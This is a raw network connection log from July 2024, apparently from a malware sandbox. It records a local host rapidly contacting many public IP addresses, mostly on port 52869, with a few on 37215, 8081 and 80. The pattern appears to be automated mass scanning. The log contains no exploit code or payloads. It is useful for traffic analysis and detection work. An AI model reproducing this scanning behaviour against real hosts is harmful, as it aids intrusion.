Jul 20, 2024 23:10:38.857414007 CEST	52869	58771	196.217.9.9	192.168.2.15
Jul 20, 2024 23:10:38.857436895 CEST	52869	58771	115.217.213.84	192.168.2.15
Jul 20, 2024 23:10:38.858437061 CEST	52869	58771	162.136.177.252	192.168.2.15
Jul 20, 2024 23:10:38.858532906 CEST	52869	58771	145.210.186.189	192.168.2.15
Jul 20, 2024 23:10:38.858555079 CEST	52869	58771	129.64.233.15	192.168.2.15
Jul 20, 2024 23:10:38.858638048 CEST	52869	58771	195.250.121.139	192.168.2.15
Jul 20, 2024 23:10:38.858676910 CEST	52869	58771	18.208.103.195	192.168.2.15
Jul 20, 2024 23:10:38.858691931 CEST	52869	58771	120.182.174.145	192.168.2.15
Jul 20, 2024 23:10:38.860856056 CEST	52869	58771	195.207.0.55	192.168.2.15
Jul 20, 2024 23:10:38.860908031 CEST	52869	58771	60.216.97.213	192.168.2.15
Jul 20, 2024 23:10:38.860923052 CEST	52869	58771	97.164.50.55	192.168.2.15
Jul 20, 2024 23:10:38.860935926 CEST	52869	58771	77.241.200.75	192.168.2.15
Jul 20, 2024 23:10:38.860991955 CEST	52869	58771	154.24.39.249	192.168.2.15
Jul 20, 2024 23:10:38.861006021 CEST	52869	58771	111.75.183.223	192.168.2.15
Jul 20, 2024 23:10:38.861033916 CEST	52869	58771	173.225.79.113	192.168.2.15
Jul 20, 2024 23:10:38.861057043 CEST	52869	58771	57.100.65.212	192.168.2.15
Jul 20, 2024 23:10:38.861072063 CEST	52869	58771	84.101.193.179	192.168.2.15
Jul 20, 2024 23:10:38.861093998 CEST	52869	58771	31.77.81.9	192.168.2.15
Jul 20, 2024 23:10:38.861109018 CEST	52869	58771	141.113.230.124	192.168.2.15
Jul 20, 2024 23:10:38.861131907 CEST	52869	58771	122.79.202.98	192.168.2.15
Jul 20, 2024 23:10:38.861154079 CEST	52869	58771	130.31.106.211	192.168.2.15
Jul 20, 2024 23:10:38.861176968 CEST	52869	58771	92.38.222.42	192.168.2.15
Jul 20, 2024 23:10:38.861191034 CEST	52869	58771	8.190.85.240	192.168.2.15
Jul 20, 2024 23:10:38.861205101 CEST	52869	58771	197.33.21.86	192.168.2.15
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	83.29.88.76
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	17.184.223.151
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	129.202.137.125
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	39.91.70.157
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	188.92.250.60
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	101.180.103.77
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	2.202.26.203
Jul 20, 2024 23:10:38.861228943 CEST	58771	52869	192.168.2.15	169.184.79.124
Jul 20, 2024 23:10:38.861268997 CEST	52869	58771	136.211.29.117	192.168.2.15
Jul 20, 2024 23:10:38.861283064 CEST	52869	58771	54.158.102.139	192.168.2.15
Jul 20, 2024 23:10:38.861316919 CEST	52869	58771	8.13.226.92	192.168.2.15
Jul 20, 2024 23:10:38.861331940 CEST	52869	58771	123.14.61.21	192.168.2.15
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	223.213.191.10
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	119.63.35.114
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	111.98.52.15
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	90.138.160.122
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	60.47.44.203
Jul 20, 2024 23:10:38.861356020 CEST	38116	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	195.72.16.230
Jul 20, 2024 23:10:38.861356020 CEST	58771	52869	192.168.2.15	116.183.105.217
Jul 20, 2024 23:10:38.861357927 CEST	52869	58771	61.1.165.207	192.168.2.15
Jul 20, 2024 23:10:38.861382008 CEST	52869	58771	130.142.173.122	192.168.2.15
Jul 20, 2024 23:10:38.861394882 CEST	52869	58771	46.156.254.69	192.168.2.15
Jul 20, 2024 23:10:38.861408949 CEST	52869	58771	42.146.219.162	192.168.2.15
Jul 20, 2024 23:10:38.861423016 CEST	52869	58771	1.209.39.62	192.168.2.15
Jul 20, 2024 23:10:38.861435890 CEST	52869	58771	92.18.13.170	192.168.2.15
Jul 20, 2024 23:10:38.861449957 CEST	52869	58771	112.250.31.72	192.168.2.15
Jul 20, 2024 23:10:38.861463070 CEST	52869	58771	87.2.229.121	192.168.2.15
Jul 20, 2024 23:10:38.861475945 CEST	52869	58771	222.216.119.91	192.168.2.15
Jul 20, 2024 23:10:38.861932993 CEST	52869	58771	163.24.64.153	192.168.2.15
Jul 20, 2024 23:10:38.861948013 CEST	52869	58771	161.93.54.6	192.168.2.15
Jul 20, 2024 23:10:38.861972094 CEST	52869	58771	196.162.5.87	192.168.2.15
Jul 20, 2024 23:10:38.861995935 CEST	52869	58771	217.150.234.15	192.168.2.15
Jul 20, 2024 23:10:38.862026930 CEST	52869	58771	222.44.99.94	192.168.2.15
Jul 20, 2024 23:10:38.862040043 CEST	52869	58771	181.65.248.166	192.168.2.15
Jul 20, 2024 23:10:38.862052917 CEST	52869	58771	92.195.216.129	192.168.2.15
Jul 20, 2024 23:10:38.862066031 CEST	52869	58771	143.46.197.220	192.168.2.15
Jul 20, 2024 23:10:38.862078905 CEST	52869	58771	132.70.73.95	192.168.2.15
Jul 20, 2024 23:10:38.862091064 CEST	52869	58771	221.160.194.232	192.168.2.15
Jul 20, 2024 23:10:38.862112999 CEST	52869	58771	119.6.246.136	192.168.2.15
Jul 20, 2024 23:10:38.862128973 CEST	52869	58771	24.166.44.145	192.168.2.15
Jul 20, 2024 23:10:38.862142086 CEST	52869	58771	20.223.23.215	192.168.2.15
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	198.78.111.199
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	132.40.118.189
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	23.213.111.232
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	13.188.140.147
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	111.84.141.243
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	71.203.107.81
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	86.99.249.186
Jul 20, 2024 23:10:38.862179995 CEST	58771	52869	192.168.2.15	61.200.31.129
Jul 20, 2024 23:10:38.862189054 CEST	52869	58771	41.19.211.55	192.168.2.15
Jul 20, 2024 23:10:38.862205029 CEST	52869	58771	60.113.117.170	192.168.2.15
Jul 20, 2024 23:10:38.862250090 CEST	52869	58771	129.146.5.212	192.168.2.15
Jul 20, 2024 23:10:38.862341881 CEST	52869	58771	194.51.38.79	192.168.2.15
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	23.255.13.10
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	72.211.196.78
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	198.105.114.189
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	192.147.178.21
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	192.27.39.245
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	58.115.50.235
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	99.171.211.36
Jul 20, 2024 23:10:38.862586975 CEST	58771	52869	192.168.2.15	77.15.142.198
Jul 20, 2024 23:10:38.862746954 CEST	52869	58771	135.228.190.116	192.168.2.15
Jul 20, 2024 23:10:38.862761974 CEST	52869	58771	63.75.117.57	192.168.2.15
Jul 20, 2024 23:10:38.862961054 CEST	52869	58771	87.46.238.224	192.168.2.15
Jul 20, 2024 23:10:38.863111973 CEST	52869	58771	180.55.108.40	192.168.2.15
Jul 20, 2024 23:10:38.863127947 CEST	52869	58771	66.88.126.168	192.168.2.15
Jul 20, 2024 23:10:38.863377094 CEST	58771	52869	192.168.2.15	111.197.150.31
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	34.2.61.34
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	135.178.159.192
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	47.72.19.180
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	132.67.102.180
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	177.96.215.245
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	88.192.240.239
Jul 20, 2024 23:10:38.863378048 CEST	58771	52869	192.168.2.15	190.79.37.161
Jul 20, 2024 23:10:38.863384962 CEST	52869	58771	159.7.254.101	192.168.2.15
Jul 20, 2024 23:10:38.863500118 CEST	52869	58771	184.114.49.59	192.168.2.15
Jul 20, 2024 23:10:38.863543034 CEST	52869	58771	222.79.179.243	192.168.2.15
Jul 20, 2024 23:10:38.863790989 CEST	52869	58771	171.218.135.148	192.168.2.15
Jul 20, 2024 23:10:38.863926888 CEST	52869	58771	137.150.64.194	192.168.2.15
Jul 20, 2024 23:10:38.864326000 CEST	52869	58771	163.184.174.135	192.168.2.15
Jul 20, 2024 23:10:38.864471912 CEST	52869	58771	51.195.43.231	192.168.2.15
Jul 20, 2024 23:10:38.864809990 CEST	52869	58771	13.129.217.20	192.168.2.15
Jul 20, 2024 23:10:38.864850044 CEST	52869	58771	103.118.11.148	192.168.2.15
Jul 20, 2024 23:10:38.864864111 CEST	52869	58771	92.54.7.102	192.168.2.15
Jul 20, 2024 23:10:38.865396023 CEST	52869	58771	86.101.91.169	192.168.2.15
Jul 20, 2024 23:10:38.865412951 CEST	52869	58771	200.10.220.119	192.168.2.15
Jul 20, 2024 23:10:38.865569115 CEST	52869	58771	154.244.223.55	192.168.2.15
Jul 20, 2024 23:10:38.865583897 CEST	52869	58771	86.108.11.155	192.168.2.15
Jul 20, 2024 23:10:38.865607023 CEST	52869	58771	134.173.80.60	192.168.2.15
Jul 20, 2024 23:10:38.865814924 CEST	52869	58771	140.169.88.3	192.168.2.15
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	36.65.48.163
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	197.242.200.156
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	104.87.188.192
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	119.185.234.171
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	48.171.160.205
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	83.91.222.86
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	75.64.8.241
Jul 20, 2024 23:10:38.865817070 CEST	58771	52869	192.168.2.15	171.65.238.111
Jul 20, 2024 23:10:38.866046906 CEST	52869	58771	45.156.147.64	192.168.2.15
Jul 20, 2024 23:10:38.866060972 CEST	52869	58771	63.181.216.41	192.168.2.15
Jul 20, 2024 23:10:38.866080999 CEST	52869	58771	40.70.214.228	192.168.2.15
Jul 20, 2024 23:10:38.866341114 CEST	52869	58771	19.7.44.118	192.168.2.15
Jul 20, 2024 23:10:38.866354942 CEST	52869	58771	101.108.145.138	192.168.2.15
Jul 20, 2024 23:10:38.866795063 CEST	52869	58771	195.202.70.255	192.168.2.15
Jul 20, 2024 23:10:38.866810083 CEST	52869	58771	223.213.191.10	192.168.2.15
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	206.250.243.12
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	185.140.178.36
Jul 20, 2024 23:10:38.866858959 CEST	57580	37215	192.168.2.15	153.137.241.70
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	74.83.241.55
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	170.167.39.209
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	103.44.42.7
Jul 20, 2024 23:10:38.866858959 CEST	58771	52869	192.168.2.15	119.58.176.87
Jul 20, 2024 23:10:38.866858959 CEST	55418	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	168.52.247.36
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	85.110.124.59
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	201.38.82.44
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	78.179.192.192
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	222.95.36.229
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	155.240.87.154
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	207.130.232.226
Jul 20, 2024 23:10:38.867094040 CEST	58771	52869	192.168.2.15	190.134.68.206
Jul 20, 2024 23:10:38.867356062 CEST	52869	58771	133.76.164.119	192.168.2.15
Jul 20, 2024 23:10:38.867388964 CEST	52869	58771	116.188.33.5	192.168.2.15
Jul 20, 2024 23:10:38.867403984 CEST	52869	58771	125.158.123.72	192.168.2.15
Jul 20, 2024 23:10:38.867427111 CEST	52869	58771	198.78.111.199	192.168.2.15
Jul 20, 2024 23:10:38.867564917 CEST	52869	58771	35.212.114.203	192.168.2.15
Jul 20, 2024 23:10:38.867672920 CEST	52869	58771	71.5.90.99	192.168.2.15
Jul 20, 2024 23:10:38.867885113 CEST	52869	58771	132.40.118.189	192.168.2.15
Jul 20, 2024 23:10:38.867938995 CEST	52869	58771	23.255.13.10	192.168.2.15
Jul 20, 2024 23:10:38.868045092 CEST	52869	58771	23.213.111.232	192.168.2.15
Jul 20, 2024 23:10:38.868261099 CEST	52869	58771	72.211.196.78	192.168.2.15
Jul 20, 2024 23:10:38.868582010 CEST	52869	58771	208.102.55.155	192.168.2.15
Jul 20, 2024 23:10:38.868597031 CEST	52869	58771	13.188.140.147	192.168.2.15
Jul 20, 2024 23:10:38.868818998 CEST	52869	58771	198.105.114.189	192.168.2.15
Jul 20, 2024 23:10:38.869182110 CEST	52869	58771	111.84.141.243	192.168.2.15
Jul 20, 2024 23:10:38.869194984 CEST	52869	58771	68.235.64.147	192.168.2.15
Jul 20, 2024 23:10:38.869216919 CEST	52869	58771	83.29.88.76	192.168.2.15
Jul 20, 2024 23:10:38.869447947 CEST	52869	58771	119.63.35.114	192.168.2.15
Jul 20, 2024 23:10:38.869462013 CEST	52869	58771	17.184.223.151	192.168.2.15
Jul 20, 2024 23:10:38.869474888 CEST	52869	58771	167.111.167.13	192.168.2.15
Jul 20, 2024 23:10:38.869527102 CEST	52869	58771	12.188.91.94	192.168.2.15
Jul 20, 2024 23:10:38.869657993 CEST	52869	58771	192.147.178.21	192.168.2.15
Jul 20, 2024 23:10:38.870136976 CEST	52869	58771	111.197.150.31	192.168.2.15
Jul 20, 2024 23:10:38.870193958 CEST	52869	58771	71.203.107.81	192.168.2.15
Jul 20, 2024 23:10:38.870208025 CEST	52869	58771	192.27.39.245	192.168.2.15
Jul 20, 2024 23:10:38.870655060 CEST	52869	58771	86.99.249.186	192.168.2.15
Jul 20, 2024 23:10:38.870693922 CEST	52869	58771	58.115.50.235	192.168.2.15
Jul 20, 2024 23:10:38.870778084 CEST	52869	58771	34.2.61.34	192.168.2.15
Jul 20, 2024 23:10:38.870793104 CEST	52869	58771	61.200.31.129	192.168.2.15
Jul 20, 2024 23:10:38.870806932 CEST	52869	58771	99.171.211.36	192.168.2.15
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	105.189.130.216
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	95.10.158.177
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	159.255.12.160
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	154.174.121.129
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	154.8.108.34
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	178.162.187.51
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	144.124.7.156
Jul 20, 2024 23:10:38.870918989 CEST	58771	52869	192.168.2.15	88.115.85.7
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	211.213.18.108
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	149.136.218.225
Jul 20, 2024 23:10:38.871156931 CEST	34248	52869	192.168.2.15	167.160.225.22
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	121.181.18.104
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	74.125.66.82
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	141.20.236.188
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	54.133.250.242
Jul 20, 2024 23:10:38.871156931 CEST	58771	52869	192.168.2.15	118.30.197.237
Jul 20, 2024 23:10:38.871166945 CEST	52869	58771	36.65.48.163	192.168.2.15
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	183.106.234.57
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	184.128.6.167
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	86.41.84.165
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	68.232.135.127
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	86.115.137.64
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	223.235.223.229
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	131.63.7.210
Jul 20, 2024 23:10:38.871539116 CEST	58771	52869	192.168.2.15	153.91.88.242
Jul 20, 2024 23:10:38.871567965 CEST	52869	58771	111.98.52.15	192.168.2.15
Jul 20, 2024 23:10:38.871613026 CEST	52869	58771	1.176.202.8	192.168.2.15
Jul 20, 2024 23:10:38.871627092 CEST	52869	58771	135.178.159.192	192.168.2.15
Jul 20, 2024 23:10:38.871716022 CEST	52869	58771	77.15.142.198	192.168.2.15
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	222.120.170.64
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	93.91.138.170
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	209.16.225.185
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	79.14.113.77
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	169.30.6.222
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	93.87.50.30
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	186.136.242.161
Jul 20, 2024 23:10:38.872047901 CEST	58771	52869	192.168.2.15	166.45.141.212
Jul 20, 2024 23:10:38.872229099 CEST	52869	58771	76.120.98.58	192.168.2.15
Jul 20, 2024 23:10:38.872242928 CEST	52869	58771	129.202.137.125	192.168.2.15
Jul 20, 2024 23:10:38.872256041 CEST	52869	58771	168.52.247.36	192.168.2.15
Jul 20, 2024 23:10:38.872808933 CEST	52869	58771	42.250.239.223	192.168.2.15
Jul 20, 2024 23:10:38.872879982 CEST	52869	58771	206.250.243.12	192.168.2.15
Jul 20, 2024 23:10:38.872920990 CEST	52869	58771	197.242.200.156	192.168.2.15
Jul 20, 2024 23:10:38.872935057 CEST	52869	58771	90.138.160.122	192.168.2.15
Jul 20, 2024 23:10:38.873631954 CEST	52869	58771	104.87.188.192	192.168.2.15
Jul 20, 2024 23:10:38.873676062 CEST	52869	58771	185.140.178.36	192.168.2.15
Jul 20, 2024 23:10:38.873691082 CEST	52869	58771	47.72.19.180	192.168.2.15
Jul 20, 2024 23:10:38.873703957 CEST	52869	58771	119.185.234.171	192.168.2.15
Jul 20, 2024 23:10:38.874836922 CEST	52869	58771	132.67.102.180	192.168.2.15
Jul 20, 2024 23:10:38.874882936 CEST	52869	58771	74.83.241.55	192.168.2.15
Jul 20, 2024 23:10:38.874913931 CEST	52869	58771	39.91.70.157	192.168.2.15
Jul 20, 2024 23:10:38.874972105 CEST	52869	58771	177.96.215.245	192.168.2.15
Jul 20, 2024 23:10:38.875001907 CEST	52869	58771	188.92.250.60	192.168.2.15
Jul 20, 2024 23:10:38.875993013 CEST	51110	37215	192.168.2.15	197.246.166.200
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	143.186.214.112
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	47.132.43.96
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	151.138.171.183
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	158.108.32.200
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	18.33.239.61
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	175.237.79.153
Jul 20, 2024 23:10:38.875993013 CEST	58771	52869	192.168.2.15	83.178.139.14
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	116.208.181.41
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	2.190.145.125
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	190.9.142.126
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	152.73.4.67
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	71.216.86.69
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	48.66.205.87
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	197.151.226.62
Jul 20, 2024 23:10:38.876920938 CEST	58771	52869	192.168.2.15	206.185.60.77
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	60.111.115.239
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	116.197.1.84
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	27.73.191.157
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	220.171.155.214
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	163.51.19.31
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	75.226.163.210
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	80.165.65.209
Jul 20, 2024 23:10:38.877202034 CEST	58771	52869	192.168.2.15	45.183.4.150
Jul 20, 2024 23:10:38.877634048 CEST	52869	58771	48.171.160.205	192.168.2.15
Jul 20, 2024 23:10:38.877671003 CEST	52869	58771	170.167.39.209	192.168.2.15
Jul 20, 2024 23:10:38.877700090 CEST	52869	58771	88.192.240.239	192.168.2.15
Jul 20, 2024 23:10:38.877732992 CEST	52869	58771	83.91.222.86	192.168.2.15
Jul 20, 2024 23:10:38.877760887 CEST	52869	58771	103.44.42.7	192.168.2.15
Jul 20, 2024 23:10:38.877789021 CEST	52869	58771	222.252.7.7	192.168.2.15
Jul 20, 2024 23:10:38.877840042 CEST	52869	58771	190.79.37.161	192.168.2.15
Jul 20, 2024 23:10:38.877867937 CEST	52869	58771	119.58.176.87	192.168.2.15
Jul 20, 2024 23:10:38.877896070 CEST	52869	58771	211.213.18.108	192.168.2.15
Jul 20, 2024 23:10:38.877923012 CEST	52869	58771	149.136.218.225	192.168.2.15
Jul 20, 2024 23:10:38.877950907 CEST	52869	58771	75.64.8.241	192.168.2.15
Jul 20, 2024 23:10:38.877983093 CEST	52869	58771	171.65.238.111	192.168.2.15
Jul 20, 2024 23:10:38.878010988 CEST	52869	58771	183.106.234.57	192.168.2.15
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	86.217.29.78
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	157.33.175.112
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	61.206.111.53
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	148.178.43.17
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	84.201.91.82
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	120.243.120.26
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	118.25.10.238
Jul 20, 2024 23:10:38.878202915 CEST	58771	52869	192.168.2.15	125.48.233.43
Jul 20, 2024 23:10:38.878582001 CEST	52869	58771	222.120.170.64	192.168.2.15
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	119.225.230.240
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	47.2.9.114
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	170.247.115.65
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	79.123.85.16
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	139.101.204.27
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	139.0.174.164
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	153.33.223.61
Jul 20, 2024 23:10:38.878608942 CEST	58771	52869	192.168.2.15	31.193.154.128
Jul 20, 2024 23:10:38.878614902 CEST	52869	58771	184.128.6.167	192.168.2.15
Jul 20, 2024 23:10:38.878643036 CEST	52869	58771	93.91.138.170	192.168.2.15
Jul 20, 2024 23:10:38.878673077 CEST	52869	58771	121.181.18.104	192.168.2.15
Jul 20, 2024 23:10:38.878700972 CEST	52869	58771	86.41.84.165	192.168.2.15
Jul 20, 2024 23:10:38.878729105 CEST	52869	58771	74.125.66.82	192.168.2.15
Jul 20, 2024 23:10:38.878756046 CEST	52869	58771	209.16.225.185	192.168.2.15
Jul 20, 2024 23:10:38.879343033 CEST	52869	58771	141.20.236.188	192.168.2.15
Jul 20, 2024 23:10:38.879373074 CEST	52869	58771	68.232.135.127	192.168.2.15
Jul 20, 2024 23:10:38.879401922 CEST	52869	58771	85.110.124.59	192.168.2.15
Jul 20, 2024 23:10:38.879431009 CEST	52869	58771	60.47.44.203	192.168.2.15
Jul 20, 2024 23:10:38.879458904 CEST	52869	58771	101.180.103.77	192.168.2.15
Jul 20, 2024 23:10:38.879487038 CEST	52869	58771	79.14.113.77	192.168.2.15
Jul 20, 2024 23:10:38.879513979 CEST	52869	58771	54.133.250.242	192.168.2.15
Jul 20, 2024 23:10:38.879564047 CEST	52869	58771	86.115.137.64	192.168.2.15
Jul 20, 2024 23:10:38.879889011 CEST	52869	58771	201.121.155.5	192.168.2.15
Jul 20, 2024 23:10:38.880085945 CEST	52869	58771	169.30.6.222	192.168.2.15
Jul 20, 2024 23:10:38.880115032 CEST	52869	58771	223.235.223.229	192.168.2.15
Jul 20, 2024 23:10:38.880143881 CEST	52869	58771	93.87.50.30	192.168.2.15
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	68.73.19.15
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	124.232.154.15
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	102.98.174.123
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	62.135.93.226
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	83.73.135.208
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	185.54.160.148
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	58.190.64.20
Jul 20, 2024 23:10:38.880389929 CEST	58771	52869	192.168.2.15	200.159.150.240
Jul 20, 2024 23:10:38.881560087 CEST	52869	58771	2.202.26.203	192.168.2.15
Jul 20, 2024 23:10:38.881571054 CEST	52869	58771	105.189.130.216	192.168.2.15
Jul 20, 2024 23:10:38.881582022 CEST	52869	58771	118.30.197.237	192.168.2.15
Jul 20, 2024 23:10:38.881591082 CEST	52869	58771	131.63.7.210	192.168.2.15
Jul 20, 2024 23:10:38.881601095 CEST	52869	58771	95.10.158.177	192.168.2.15
Jul 20, 2024 23:10:38.881793022 CEST	52869	58771	186.136.242.161	192.168.2.15
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	117.180.112.142
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	134.79.244.179
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	206.0.189.154
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	73.246.238.115
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	42.38.220.5
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	17.20.203.83
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	177.183.157.188
Jul 20, 2024 23:10:38.883318901 CEST	58771	52869	192.168.2.15	154.136.140.254
Jul 20, 2024 23:10:38.884542942 CEST	58771	52869	192.168.2.15	150.186.89.158
Jul 20, 2024 23:10:38.884542942 CEST	58771	52869	192.168.2.15	137.17.210.214
Jul 20, 2024 23:10:38.884542942 CEST	58771	52869	192.168.2.15	41.137.247.192
Jul 20, 2024 23:10:38.884542942 CEST	58771	52869	192.168.2.15	142.141.210.83
